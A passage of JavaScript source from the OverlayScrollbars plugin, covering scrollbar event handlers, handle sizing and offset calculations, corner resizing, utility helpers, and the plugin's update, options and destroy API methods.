addClass(scrollbarVars._track, strActive);
addClass(scrollbarVars._scrollbar, strActive);
setupResponsiveEventListener(_documentElement,
[_strMouseTouchUpEvent, _strKeyDownEvent, _strKeyUpEvent, _strSelectStartEvent],
[documentMouseTouchUp, documentKeyDown, documentKeyUp, documentOnSelectStart]);
scrollAction();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
}
function onTrackMouseTouchEnter(event) {
//make sure both scrollbars will stay visible if one scrollbar is hovered if autoHide is "scroll" or "move".
_scrollbarsHandleHovered = true;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(true);
}
function onTrackMouseTouchLeave(event) {
_scrollbarsHandleHovered = false;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
}
function onScrollbarMouseTouchDown(event) {
COMPATIBILITY.stpP(event);
}
addDestroyEventListener(scrollbarVars._handle,
_strMouseTouchDownEvent,
onHandleMouseTouchDown);
addDestroyEventListener(scrollbarVars._track,
[_strMouseTouchDownEvent, _strMouseEnter, _strMouseLeave],
[onTrackMouseTouchDown, onTrackMouseTouchEnter, onTrackMouseTouchLeave]);
addDestroyEventListener(scrollbarVars._scrollbar,
_strMouseTouchDownEvent,
onScrollbarMouseTouchDown);
if (_supportTransition) {
addDestroyEventListener(scrollbarVars._scrollbar, _strTransitionEndEvent, function (event) {
if (event.target !== scrollbarVars._scrollbar[0])
return;
refreshScrollbarHandleLength(isHorizontal);
refreshScrollbarHandleOffset(isHorizontal);
});
}
}
/**
* Shows or hides the given scrollbar and applied a class name which indicates if the scrollbar is scrollable or not.
* @param isHorizontal True if the horizontal scrollbar is the target, false if the vertical scrollbar is the target.
* @param shallBeVisible True if the scrollbar shall be shown, false if hidden.
* @param canScroll True if the scrollbar is scrollable, false otherwise.
*/
function refreshScrollbarAppearance(isHorizontal, shallBeVisible, canScroll) {
var scrollbarHiddenClassName = isHorizontal ? _classNameHostScrollbarHorizontalHidden : _classNameHostScrollbarVerticalHidden;
var scrollbarElement = isHorizontal ? _scrollbarHorizontalElement : _scrollbarVerticalElement;
addRemoveClass(_hostElement, scrollbarHiddenClassName, !shallBeVisible);
addRemoveClass(scrollbarElement, _classNameScrollbarUnusable, !canScroll);
}
/**
* Autoshows / autohides both scrollbars with.
* @param shallBeVisible True if the scrollbars shall be autoshown (only the case if they are hidden by a autohide), false if the shall be auto hidden.
* @param delayfree True if the scrollbars shall be hidden without a delay, false or undefined otherwise.
*/
function refreshScrollbarsAutoHide(shallBeVisible, delayfree) {
clearTimeout(_scrollbarsAutoHideTimeoutId);
if (shallBeVisible) {
//if(_hasOverflowCache.x && _hideOverflowCache.xs)
removeClass(_scrollbarHorizontalElement, _classNameScrollbarAutoHidden);
//if(_hasOverflowCache.y && _hideOverflowCache.ys)
removeClass(_scrollbarVerticalElement, _classNameScrollbarAutoHidden);
}
else {
var anyActive;
var strActive = 'active';
var hide = function () {
if (!_scrollbarsHandleHovered && !_destroyed) {
anyActive = _scrollbarHorizontalHandleElement.hasClass(strActive) || _scrollbarVerticalHandleElement.hasClass(strActive);
if (!anyActive && (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove || _scrollbarsAutoHideLeave))
addClass(_scrollbarHorizontalElement, _classNameScrollbarAutoHidden);
if (!anyActive && (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove || _scrollbarsAutoHideLeave))
addClass(_scrollbarVerticalElement, _classNameScrollbarAutoHidden);
}
};
if (_scrollbarsAutoHideDelay > 0 && delayfree !== true)
_scrollbarsAutoHideTimeoutId = setTimeout(hide, _scrollbarsAutoHideDelay);
else
hide();
}
}
/**
* Refreshes the handle length of the given scrollbar.
* @param isHorizontal True if the horizontal scrollbar handle shall be refreshed, false if the vertical one shall be refreshed.
*/
function refreshScrollbarHandleLength(isHorizontal) {
var handleCSS = {};
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var digit = 1000000;
//get and apply intended handle length
var handleRatio = MATH.min(1, _viewportSize[scrollbarVars._w_h] / _contentScrollSizeCache[scrollbarVars._w_h]);
handleCSS[scrollbarVars._width_height] = (MATH.floor(handleRatio * 100 * digit) / digit) + '%'; //the last * digit / digit is for flooring to the 4th digit
if (!nativeOverlayScrollbarsAreActive())
scrollbarVars._handle.css(handleCSS);
//measure the handle length to respect min & max length
scrollbarVarsInfo._handleLength = scrollbarVars._handle[0]['offset' + scrollbarVars._Width_Height];
scrollbarVarsInfo._handleLengthRatio = handleRatio;
}
/**
* Refreshes the handle offset of the given scrollbar.
* @param isHorizontal True if the horizontal scrollbar handle shall be refreshed, false if the vertical one shall be refreshed.
* @param scrollOrTransition The scroll position of the given scrollbar axis to which the handle shall be moved or a boolean which indicates whether a transition shall be applied. If undefined or boolean if the current scroll-offset is taken. (if isHorizontal ? scrollLeft : scrollTop)
*/
function refreshScrollbarHandleOffset(isHorizontal, scrollOrTransition) {
var transition = type(scrollOrTransition) == TYPES.b;
var transitionDuration = 250;
var isRTLisHorizontal = _isRTL && isHorizontal;
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var strTranslateBrace = 'translate(';
var strTransform = VENDORS._cssProperty('transform');
var strTransition = VENDORS._cssProperty('transition');
var nativeScroll = isHorizontal ? _viewportElement[_strScrollLeft]() : _viewportElement[_strScrollTop]();
var currentScroll = scrollOrTransition === undefined || transition ? nativeScroll : scrollOrTransition;
//measure the handle length to respect min & max length
var handleLength = scrollbarVarsInfo._handleLength;
var trackLength = scrollbarVars._track[0]['offset' + scrollbarVars._Width_Height];
var handleTrackDiff = trackLength - handleLength;
var handleCSS = {};
var transformOffset;
var translateValue;
//DONT use the variable '_contentScrollSizeCache[scrollbarVars._w_h]' instead of '_viewportElement[0]['scroll' + scrollbarVars._Width_Height]'
// because its a bit behind during the small delay when content size updates
//(delay = mutationObserverContentLag, if its 0 then this var could be used)
var maxScroll = (_viewportElementNative[_strScroll + scrollbarVars._Width_Height] - _viewportElementNative['client' + scrollbarVars._Width_Height]) * (_rtlScrollBehavior.n && isRTLisHorizontal ? -1 : 1); //* -1 if rtl scroll max is negative
var getScrollRatio = function (base) {
return isNaN(base / maxScroll) ? 0 : MATH.max(0, MATH.min(1, base / maxScroll));
};
var getHandleOffset = function (scrollRatio) {
var offset = handleTrackDiff * scrollRatio;
offset = isNaN(offset) ? 0 : offset;
offset = (isRTLisHorizontal && !_rtlScrollBehavior.i) ? (trackLength - handleLength - offset) : offset;
offset = MATH.max(0, offset);
return offset;
};
var scrollRatio = getScrollRatio(nativeScroll);
var unsnappedScrollRatio = getScrollRatio(currentScroll);
var handleOffset = getHandleOffset(unsnappedScrollRatio);
var snappedHandleOffset = getHandleOffset(scrollRatio);
scrollbarVarsInfo._maxScroll = maxScroll;
scrollbarVarsInfo._currentScroll = nativeScroll;
scrollbarVarsInfo._currentScrollRatio = scrollRatio;
if (_supportTransform) {
transformOffset = isRTLisHorizontal ? -(trackLength - handleLength - handleOffset) : handleOffset; //in px
//transformOffset = (transformOffset / trackLength * 100) * (trackLength / handleLength); //in %
translateValue = isHorizontal ? strTranslateBrace + transformOffset + 'px, 0)' : strTranslateBrace + '0, ' + transformOffset + 'px)';
handleCSS[strTransform] = translateValue;
//apply or clear up transition
if (_supportTransition)
handleCSS[strTransition] = transition && MATH.abs(handleOffset - scrollbarVarsInfo._handleOffset) > 1 ? getCSSTransitionString(scrollbarVars._handle) + ', ' + (strTransform + _strSpace + transitionDuration + 'ms') : _strEmpty;
}
else
handleCSS[scrollbarVars._left_top] = handleOffset;
//only apply css if offset has changed and overflow exists.
if (!nativeOverlayScrollbarsAreActive()) {
scrollbarVars._handle.css(handleCSS);
//clear up transition
if (_supportTransform && _supportTransition && transition) {
scrollbarVars._handle.one(_strTransitionEndEvent, function () {
if (!_destroyed)
scrollbarVars._handle.css(strTransition, _strEmpty);
});
}
}
scrollbarVarsInfo._handleOffset = handleOffset;
scrollbarVarsInfo._snappedHandleOffset = snappedHandleOffset;
scrollbarVarsInfo._trackLength = trackLength;
}
/**
* Refreshes the interactivity of the given scrollbar element.
* @param isTrack True if the track element is the target, false if the handle element is the target.
* @param value True for interactivity false for no interactivity.
*/
function refreshScrollbarsInteractive(isTrack, value) {
var action = value ? 'removeClass' : 'addClass';
var element1 = isTrack ? _scrollbarHorizontalTrackElement : _scrollbarHorizontalHandleElement;
var element2 = isTrack ? _scrollbarVerticalTrackElement : _scrollbarVerticalHandleElement;
var className = isTrack ? _classNameScrollbarTrackOff : _classNameScrollbarHandleOff;
element1[action](className);
element2[action](className);
}
/**
* Returns a object which is used for fast access for specific variables.
* @param isHorizontal True if the horizontal scrollbar vars shall be accessed, false if the vertical scrollbar vars shall be accessed.
* @returns {{wh: string, WH: string, lt: string, _wh: string, _lt: string, t: *, h: *, c: {}, s: *}}
*/
function getScrollbarVars(isHorizontal) {
return {
_width_height: isHorizontal ? _strWidth : _strHeight,
_Width_Height: isHorizontal ? 'Width' : 'Height',
_left_top: isHorizontal ? _strLeft : _strTop,
_Left_Top: isHorizontal ? 'Left' : 'Top',
_x_y: isHorizontal ? _strX : _strY,
_X_Y: isHorizontal ? 'X' : 'Y',
_w_h: isHorizontal ? 'w' : 'h',
_l_t: isHorizontal ? 'l' : 't',
_track: isHorizontal ? _scrollbarHorizontalTrackElement : _scrollbarVerticalTrackElement,
_handle: isHorizontal ? _scrollbarHorizontalHandleElement : _scrollbarVerticalHandleElement,
_scrollbar: isHorizontal ? _scrollbarHorizontalElement : _scrollbarVerticalElement,
_info: isHorizontal ? _scrollHorizontalInfo : _scrollVerticalInfo
};
}
//==== Scrollbar Corner ====//
/**
* Builds or destroys the scrollbar corner DOM element.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupScrollbarCornerDOM(destroy) {
_scrollbarCornerElement = _scrollbarCornerElement || selectOrGenerateDivByClass(_classNameScrollbarCorner, true);
if (!destroy) {
if (!_domExists) {
_hostElement.append(_scrollbarCornerElement);
}
}
else {
if (_domExists && _initialized) {
removeClass(_scrollbarCornerElement.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
}
else {
remove(_scrollbarCornerElement);
}
}
}
/**
* Initializes all scrollbar corner interactivity events.
*/
function setupScrollbarCornerEvents() {
var insideIFrame = _windowElementNative.top !== _windowElementNative;
var mouseDownPosition = {};
var mouseDownSize = {};
var mouseDownInvertedScale = {};
var reconnectMutationObserver;
function documentDragMove(event) {
if (onMouseTouchDownContinue(event)) {
var pageOffset = getCoordinates(event);
var hostElementCSS = {};
if (_resizeHorizontal || _resizeBoth)
hostElementCSS[_strWidth] = (mouseDownSize.w + (pageOffset.x - mouseDownPosition.x) * mouseDownInvertedScale.x);
if (_resizeVertical || _resizeBoth)
hostElementCSS[_strHeight] = (mouseDownSize.h + (pageOffset.y - mouseDownPosition.y) * mouseDownInvertedScale.y);
_hostElement.css(hostElementCSS);
COMPATIBILITY.stpP(event);
}
else {
documentMouseTouchUp(event);
}
}
function documentMouseTouchUp(event) {
var eventIsTrusted = event !== undefined;
setupResponsiveEventListener(_documentElement,
[_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],
[documentOnSelectStart, documentDragMove, documentMouseTouchUp],
true);
removeClass(_bodyElement, _classNameDragging);
if (_scrollbarCornerElement.releaseCapture)
_scrollbarCornerElement.releaseCapture();
if (eventIsTrusted) {
if (reconnectMutationObserver)
connectMutationObservers();
_base.update(_strAuto);
}
reconnectMutationObserver = false;
}
function onMouseTouchDownContinue(event) {
var originalEvent = event.originalEvent || event;
var isTouchEvent = originalEvent.touches !== undefined;
return _sleeping || _destroyed ? false : COMPATIBILITY.mBtn(event) === 1 || isTouchEvent;
}
function getCoordinates(event) {
return _msieVersion && insideIFrame ? { x: event.screenX, y: event.screenY } : COMPATIBILITY.page(event);
}
addDestroyEventListener(_scrollbarCornerElement, _strMouseTouchDownEvent, function (event) {
if (onMouseTouchDownContinue(event) && !_resizeNone) {
if (_mutationObserversConnected) {
reconnectMutationObserver = true;
disconnectMutationObservers();
}
mouseDownPosition = getCoordinates(event);
mouseDownSize.w = _hostElementNative[LEXICON.oW] - (!_isBorderBox ? _paddingX : 0);
mouseDownSize.h = _hostElementNative[LEXICON.oH] - (!_isBorderBox ? _paddingY : 0);
mouseDownInvertedScale = getHostElementInvertedScale();
setupResponsiveEventListener(_documentElement,
[_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],
[documentOnSelectStart, documentDragMove, documentMouseTouchUp]);
addClass(_bodyElement, _classNameDragging);
if (_scrollbarCornerElement.setCapture)
_scrollbarCornerElement.setCapture();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
});
}
//==== Utils ====//
/**
* Calls the callback with the given name. The Context of this callback is always _base (this).
* @param name The name of the target which shall be called.
* @param args The args with which the callback shall be called.
* @param dependent Boolean which decides whether the callback shall be fired, undefined is like a "true" value.
*/
function dispatchCallback(name, args, dependent) {
if (dependent === false)
return;
if (_initialized) {
var callback = _currentPreparedOptions.callbacks[name];
var extensionOnName = name;
var ext;
if (extensionOnName.substr(0, 2) === 'on')
extensionOnName = extensionOnName.substr(2, 1).toLowerCase() + extensionOnName.substr(3);
if (type(callback) == TYPES.f)
callback.call(_base, args);
each(_extensions, function () {
ext = this;
if (type(ext.on) == TYPES.f)
ext.on(extensionOnName, args);
});
}
else if (!_destroyed)
_callbacksInitQeueue.push({ n: name, a: args });
}
/**
* Sets the "top, right, bottom, left" properties, with a given prefix, of the given css object.
* @param targetCSSObject The css object to which the values shall be applied.
* @param prefix The prefix of the "top, right, bottom, left" css properties. (example: 'padding-' is a valid prefix)
* @param values A array of values which shall be applied to the "top, right, bottom, left" -properties. The array order is [top, right, bottom, left].
* If this argument is undefined the value '' (empty string) will be applied to all properties.
*/
function setTopRightBottomLeft(targetCSSObject, prefix, values) {
prefix = prefix || _strEmpty;
values = values || [_strEmpty, _strEmpty, _strEmpty, _strEmpty];
targetCSSObject[prefix + _strTop] = values[0];
targetCSSObject[prefix + _strRight] = values[1];
targetCSSObject[prefix + _strBottom] = values[2];
targetCSSObject[prefix + _strLeft] = values[3];
}
/**
* Gets the "top, right, bottom, left" CSS properties of the CSS property with the given prefix from the host element.
* @param prefix The prefix of the "top, right, bottom, left" css properties. (example: 'padding-' is a valid prefix)
* @param suffix The suffix of the "top, right, bottom, left" css properties. (example: 'border-' is a valid prefix with '-width' is a valid suffix)
* @param zeroX True if the x axis shall be 0.
* @param zeroY True if the y axis shall be 0.
* @returns {{}} The object which contains the numbers of the read CSS properties.
*/
function getTopRightBottomLeftHost(prefix, suffix, zeroX, zeroY) {
suffix = suffix || _strEmpty;
prefix = prefix || _strEmpty;
return {
t: zeroY ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strTop + suffix)),
r: zeroX ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strRight + suffix)),
b: zeroY ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strBottom + suffix)),
l: zeroX ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strLeft + suffix))
};
}
/**
* Returns the computed CSS transition string from the given element.
* @param element The element from which the transition string shall be returned.
* @returns {string} The CSS transition string from the given element.
*/
function getCSSTransitionString(element) {
var transitionStr = VENDORS._cssProperty('transition');
var assembledValue = element.css(transitionStr);
if (assembledValue)
return assembledValue;
var regExpString = '\\s*(' + '([^,(]+(\\(.+?\\))?)+' + ')[\\s,]*';
var regExpMain = new RegExp(regExpString);
var regExpValidate = new RegExp('^(' + regExpString + ')+$');
var properties = 'property duration timing-function delay'.split(' ');
var result = [];
var strResult;
var valueArray;
var i = 0;
var j;
var splitCssStyleByComma = function (str) {
strResult = [];
if (!str.match(regExpValidate))
return str;
while (str.match(regExpMain)) {
strResult.push(RegExp.$1);
str = str.replace(regExpMain, _strEmpty);
}
return strResult;
};
for (; i < properties[LEXICON.l]; i++) {
valueArray = splitCssStyleByComma(element.css(transitionStr + '-' + properties[i]));
for (j = 0; j < valueArray[LEXICON.l]; j++)
result[j] = (result[j] ? result[j] + _strSpace : _strEmpty) + valueArray[j];
}
return result.join(', ');
}
/**
* Generates a Regular Expression which matches with a string which starts with 'os-host'.
* @param {boolean} withCurrClassNameOption The Regular Expression also matches if the string is the current ClassName option (multiple values splitted by space possible).
* @param {boolean} withOldClassNameOption The Regular Expression also matches if the string is the old ClassName option (multiple values splitted by space possible).
*/
function createHostClassNameRegExp(withCurrClassNameOption, withOldClassNameOption) {
var i;
var split;
var appendix;
var appendClasses = function (classes, condition) {
appendix = '';
if (condition && typeof classes == TYPES.s) {
split = classes.split(_strSpace);
for (i = 0; i < split[LEXICON.l]; i++)
appendix += '|' + split[i] + '$';
// split[i].replace(/[.*+?^${}()|[\]\\]/g, '\\$&') for escaping regex characters
}
return appendix;
};
return new RegExp(
'(^' + _classNameHostElement + '([-_].+|)$)' +
appendClasses(_classNameCache, withCurrClassNameOption) +
appendClasses(_oldClassName, withOldClassNameOption), 'g');
}
/**
* Calculates the host-elements inverted scale. (invertedScale = 1 / scale)
* @returns {{x: number, y: number}} The scale of the host-element.
*/
function getHostElementInvertedScale() {
var rect = _paddingElementNative[LEXICON.bCR]();
return {
x: _supportTransform ? 1 / (MATH.round(rect.width) / _paddingElementNative[LEXICON.oW]) || 1 : 1,
y: _supportTransform ? 1 / (MATH.round(rect.height) / _paddingElementNative[LEXICON.oH]) || 1 : 1
};
}
/**
* Checks whether the given object is a HTMLElement.
* @param o The object which shall be checked.
* @returns {boolean} True the given object is a HTMLElement, false otherwise.
*/
function isHTMLElement(o) {
var strOwnerDocument = 'ownerDocument';
var strHTMLElement = 'HTMLElement';
var wnd = o && o[strOwnerDocument] ? (o[strOwnerDocument].parentWindow || window) : window;
return (
typeof wnd[strHTMLElement] == TYPES.o ? o instanceof wnd[strHTMLElement] : //DOM2
o && typeof o == TYPES.o && o !== null && o.nodeType === 1 && typeof o.nodeName == TYPES.s
);
}
/**
* Compares 2 arrays and returns the differences between them as a array.
* @param a1 The first array which shall be compared.
* @param a2 The second array which shall be compared.
* @returns {Array} The differences between the two arrays.
*/
function getArrayDifferences(a1, a2) {
var a = [];
var diff = [];
var i;
var k;
for (i = 0; i < a1.length; i++)
a[a1[i]] = true;
for (i = 0; i < a2.length; i++) {
if (a[a2[i]])
delete a[a2[i]];
else
a[a2[i]] = true;
}
for (k in a)
diff.push(k);
return diff;
}
/**
* Returns Zero or the number to which the value can be parsed.
* @param value The value which shall be parsed.
* @param toFloat Indicates whether the number shall be parsed to a float.
*/
function parseToZeroOrNumber(value, toFloat) {
var num = toFloat ? parseFloat(value) : parseInt(value, 10);
return isNaN(num) ? 0 : num;
}
/**
* Gets several information of the textarea and returns them as a object or undefined if the browser doesn't support it.
* @returns {{cursorRow: Number, cursorCol, rows: Number, cols: number, wRow: number, pos: number, max : number}} or undefined if not supported.
*/
function getTextareaInfo() {
//read needed values
var textareaCursorPosition = _targetElementNative.selectionStart;
if (textareaCursorPosition === undefined)
return;
var textareaValue = _targetElement.val();
var textareaLength = textareaValue[LEXICON.l];
var textareaRowSplit = textareaValue.split('\n');
var textareaLastRow = textareaRowSplit[LEXICON.l];
var textareaCurrentCursorRowSplit = textareaValue.substr(0, textareaCursorPosition).split('\n');
var widestRow = 0;
var textareaLastCol = 0;
var cursorRow = textareaCurrentCursorRowSplit[LEXICON.l];
var cursorCol = textareaCurrentCursorRowSplit[textareaCurrentCursorRowSplit[LEXICON.l] - 1][LEXICON.l];
var rowCols;
var i;
//get widest Row and the last column of the textarea
for (i = 0; i < textareaRowSplit[LEXICON.l]; i++) {
rowCols = textareaRowSplit[i][LEXICON.l];
if (rowCols > textareaLastCol) {
widestRow = i + 1;
textareaLastCol = rowCols;
}
}
return {
_cursorRow: cursorRow, //cursorRow
_cursorColumn: cursorCol, //cursorCol
_rows: textareaLastRow, //rows
_columns: textareaLastCol, //cols
_widestRow: widestRow, //wRow
_cursorPosition: textareaCursorPosition, //pos
_cursorMax: textareaLength //max
};
}
/**
* Determines whether native overlay scrollbars are active.
* @returns {boolean} True if native overlay scrollbars are active, false otherwise.
*/
function nativeOverlayScrollbarsAreActive() {
return (_ignoreOverlayScrollbarHidingCache && (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y));
}
/**
* Gets the element which is used to measure the content size.
* @returns {*} TextareaCover if target element is textarea else the ContentElement.
*/
function getContentMeasureElement() {
return _isTextarea ? _textareaCoverElement[0] : _contentElementNative;
}
/**
* Generates a string which represents a HTML div with the given classes or attributes.
* @param classesOrAttrs The class of the div as string or a object which represents the attributes of the div. (The class attribute can also be written as "className".)
* @param content The content of the div as string.
* @returns {string} The concated string which represents a HTML div and its content.
*/
function generateDiv(classesOrAttrs, content) {
return '<div ' + (classesOrAttrs ? type(classesOrAttrs) == TYPES.s ?
'class="' + classesOrAttrs + '"' :
(function () {
var key;
var attrs = _strEmpty;
if (FRAMEWORK.isPlainObject(classesOrAttrs)) {
for (key in classesOrAttrs)
attrs += (key === 'c' ? 'class' : key) + '="' + classesOrAttrs[key] + '" ';
}
return attrs;
})() :
_strEmpty) +
'>' +
(content || _strEmpty) +
'</div>';
}
/**
* Selects or generates a div with the given class attribute.
* @param className The class names (divided by spaces) of the div which shall be selected or generated.
* @param selectParentOrOnlyChildren The parent element from which of the element shall be selected. (if undefined or boolean its hostElement)
* If its a boolean it decides whether only the children of the host element shall be selected.
* @returns {*} The generated or selected element.
*/
function selectOrGenerateDivByClass(className, selectParentOrOnlyChildren) {
var onlyChildren = type(selectParentOrOnlyChildren) == TYPES.b;
var selectParent = onlyChildren ? _hostElement : (selectParentOrOnlyChildren || _hostElement);
return (_domExists && !selectParent[LEXICON.l])
? null
: _domExists
? selectParent[onlyChildren ? 'children' : 'find'](_strDot + className.replace(/\s/g, _strDot)).eq(0)
: FRAMEWORK(generateDiv(className))
}
/**
* Gets the value of the given property from the given object.
* @param obj The object from which the property value shall be got.
* @param path The property of which the value shall be got.
* @returns {*} Returns the value of the searched property or undefined of the property wasn't found.
*/
function getObjectPropVal(obj, path) {
var splits = path.split(_strDot);
var i = 0;
var val;
for (; i < splits.length; i++) {
if (!obj[LEXICON.hOP](splits[i]))
return;
val = obj[splits[i]];
if (i < splits.length && type(val) == TYPES.o)
obj = val;
}
return val;
}
/**
* Sets the value of the given property from the given object.
* @param obj The object from which the property value shall be set.
* @param path The property of which the value shall be set.
* @param val The value of the property which shall be set.
*/
function setObjectPropVal(obj, path, val) {
var splits = path.split(_strDot);
var splitsLength = splits.length;
var i = 0;
var extendObj = {};
var extendObjRoot = extendObj;
for (; i < splitsLength; i++)
extendObj = extendObj[splits[i]] = i + 1 < splitsLength ? {} : val;
FRAMEWORK.extend(obj, extendObjRoot, true);
}
/**
* Runs a action for each selector inside the updateOnLoad option.
* @param {Function} action The action for each updateOnLoad selector, the arguments the function takes is the index and the value (the selector).
*/
function eachUpdateOnLoad(action) {
var updateOnLoad = _currentPreparedOptions.updateOnLoad;
updateOnLoad = type(updateOnLoad) == TYPES.s ? updateOnLoad.split(_strSpace) : updateOnLoad;
if (COMPATIBILITY.isA(updateOnLoad) && !_destroyed) {
each(updateOnLoad, action);
}
}
//==== Utils Cache ====//
/**
* Compares two values or objects and returns true if they aren't equal.
* @param current The first value or object which shall be compared.
* @param cache The second value or object which shall be compared.
* @param force If true the returned value is always true.
* @returns {boolean} True if both values or objects aren't equal or force is true, false otherwise.
*/
function checkCache(current, cache, force) {
if (force)
return force;
if (type(current) == TYPES.o && type(cache) == TYPES.o) {
for (var prop in current) {
if (prop !== 'c') {
if (current[LEXICON.hOP](prop) && cache[LEXICON.hOP](prop)) {
if (checkCache(current[prop], cache[prop]))
return true;
}
else {
return true;
}
}
}
}
else {
return current !== cache;
}
return false;
}
//==== Shortcuts ====//
/**
* jQuery extend method shortcut with a appended "true" as first argument.
*/
function extendDeep() {
return FRAMEWORK.extend.apply(this, [true].concat([].slice.call(arguments)));
}
/**
* jQuery addClass method shortcut.
*/
function addClass(el, classes) {
return _frameworkProto.addClass.call(el, classes);
}
/**
* jQuery removeClass method shortcut.
*/
function removeClass(el, classes) {
return _frameworkProto.removeClass.call(el, classes);
}
/**
* Adds or removes the given classes dependent on the boolean value. True for add, false for remove.
*/
function addRemoveClass(el, classes, doAdd) {
return doAdd ? addClass(el, classes) : removeClass(el, classes);
}
/**
* jQuery remove method shortcut.
*/
function remove(el) {
return _frameworkProto.remove.call(el);
}
/**
* Finds the first child element with the given selector of the given element.
* @param el The root element from which the selector shall be valid.
* @param selector The selector of the searched element.
* @returns {*} The first element which is a child of the given element and matches the givens selector.
*/
function findFirst(el, selector) {
return _frameworkProto.find.call(el, selector).eq(0);
}
//==== API ====//
/**
* Puts the instance to sleep. It wont respond to any changes in the DOM and won't update. Scrollbar Interactivity is also disabled as well as the resize handle.
* This behavior can be reset by calling the update method.
*/
_base.sleep = function () {
_sleeping = true;
};
/**
* Updates the plugin and DOM to the current options.
* This method should only be called if a update is 100% required.
* @param force True if every property shall be updated and the cache shall be ignored.
* !INTERNAL USAGE! : force can be a string "auto", "sync" or "zoom" too
* if "auto" then before a real update the content size and host element attributes gets checked, and if they changed only then the update method will be called.
* if "sync" then the async update process (MutationObserver or UpdateLoop) gets synchronized and a corresponding update takes place if one was needed due to pending changes.
* if "zoom" then a update takes place where it's assumed that content and host size changed
* @returns {boolean|undefined}
* If force is "sync" then a boolean is returned which indicates whether a update was needed due to pending changes.
* If force is "auto" then a boolean is returned whether a update was needed due to attribute or size changes.
* undefined otherwise.
*/
_base.update = function (force) {
if (_destroyed)
return;
var attrsChanged;
var contentSizeC;
var isString = type(force) == TYPES.s;
var doUpdateAuto;
var mutHost;
var mutContent;
if (isString) {
if (force === _strAuto) {
attrsChanged = meaningfulAttrsChanged();
contentSizeC = updateAutoContentSizeChanged();
doUpdateAuto = attrsChanged || contentSizeC;
if (doUpdateAuto) {
update({
_contentSizeChanged: contentSizeC,
_changedOptions: _initialized ? undefined : _currentPreparedOptions
});
}
}
else if (force === _strSync) {
if (_mutationObserversConnected) {
mutHost = _mutationObserverHostCallback(_mutationObserverHost.takeRecords());
mutContent = _mutationObserverContentCallback(_mutationObserverContent.takeRecords());
}
else {
mutHost = _base.update(_strAuto);
}
}
else if (force === 'zoom') {
update({
_hostSizeChanged: true,
_contentSizeChanged: true
});
}
}
else {
force = _sleeping || force;
_sleeping = false;
if (!_base.update(_strSync) || force)
update({ _force: force });
}
updateElementsOnLoad();
return doUpdateAuto || mutHost || mutContent;
};
/**
Gets or sets the current options. The update method will be called automatically if new options were set.
* @param newOptions If new options are given, then the new options will be set, if new options aren't given (undefined or a not a plain object) then the current options will be returned.
* @param value If new options is a property path string, then this value will be used to set the option to which the property path string leads.
* @returns {*}
*/
_base.options = function (newOptions, value) {
var option = {};
var changedOps;
//return current options if newOptions are undefined or empty
if (FRAMEWORK.isEmptyObject(newOptions) || !FRAMEWORK.isPlainObject(newOptions)) {
if (type(newOptions) == TYPES.s) {
if (arguments.length > 1) {
setObjectPropVal(option, newOptions, value);
changedOps = setOptions(option);
}
else
return getObjectPropVal(_currentOptions, newOptions);
}
else
return _currentOptions;
}
else {
changedOps = setOptions(newOptions);
}
if (!FRAMEWORK.isEmptyObject(changedOps)) {
update({ _changedOptions: changedOps });
}
};
/**
* Restore the DOM, disconnects all observers, remove all resize observers and put the instance to sleep.
*/
_base.destroy = function () {
if (_destroyed)
return;
//remove this instance from auto update loop
autoUpdateLoop.remove(_base);
//disconnect all mutation observers
disconnectMutationObservers();
//remove all resize observers
setupResizeObserver(_sizeObserverElement);
setupResizeObserver(_sizeAutoObserverElement);
//remove all extensions
for (var extName in _extensions)
_base.removeExt(extName);
//remove all 'destroy' events
while (_destroyEvents[LEXICON.l] > 0)
_destroyEvents.pop()();
//remove all events from host element
setupHostMouseTouchEvents(true);
//remove all helper / detection elements
if (_contentGlueElement)
remove(_contentGlueElement);
if (_contentArrangeElement)
remove(_contentArrangeElement);
if (_sizeAutoObserverAdded)
remove(_sizeAutoObserverElement);
//remove all generated DOM
setupScrollbarsDOM(true);
setupScrollbarCornerDOM(true);
setupStructureDOM(true);
//remove all generated image load events
for (var i = 0; i < _updateOnLoadElms[LEXICON.l]; i++)
FRAMEWORK(_updateOnLoadElms[i]).off(_updateOnLoadEventName, updateOnLoadCallback);
_updateOnLoadElms = undefined;
_destroyed = true;
_sleeping = true;
//remove this instance from the instances list
INSTANCES(pluginTargetElement, 0);
dispatchCallback('onDestroyed');
//remove all properties and methods
//for (var property in _base)
// delete _base[property];
//_base = undefined;
};
/**
* Scrolls to a given position or element.
* @param coordinates
* 1. Can be "coordinates" which looks like:
* { x : ?, y : ? } OR Object with x and y properties
* { left : ?, top : ? } OR Object with left and top properties
* { l : ?, t : ? } OR Object with l and t properties
* [ ?, ? ] OR Array where the first two element are the coordinates (first is x, second is y)
* ? A single value which stays for both axis
* A value can be a number, a string or a calculation.
*
* Operators:
* [NONE] The current scroll will be overwritten by the value.
* '+=' The value will be added to the current scroll offset
* '-=' The value will be subtracted from the current scroll offset
* '*=' The current scroll wil be multiplicated by the value.
* '/=' The current scroll wil be divided by the value.
*
* Units:
* [NONE] The value is the final scroll amount. final = (value * 1)
* 'px' Same as none
* '%' The value is dependent on the current scroll value. final = ((currentScrollValue / 100) * value)
* 'vw' The value is multiplicated by the viewport width. final = (value * viewportWidth)
* 'vh' The value is multiplicated by the viewport height. final = (value * viewportHeight)
*
* example final values:
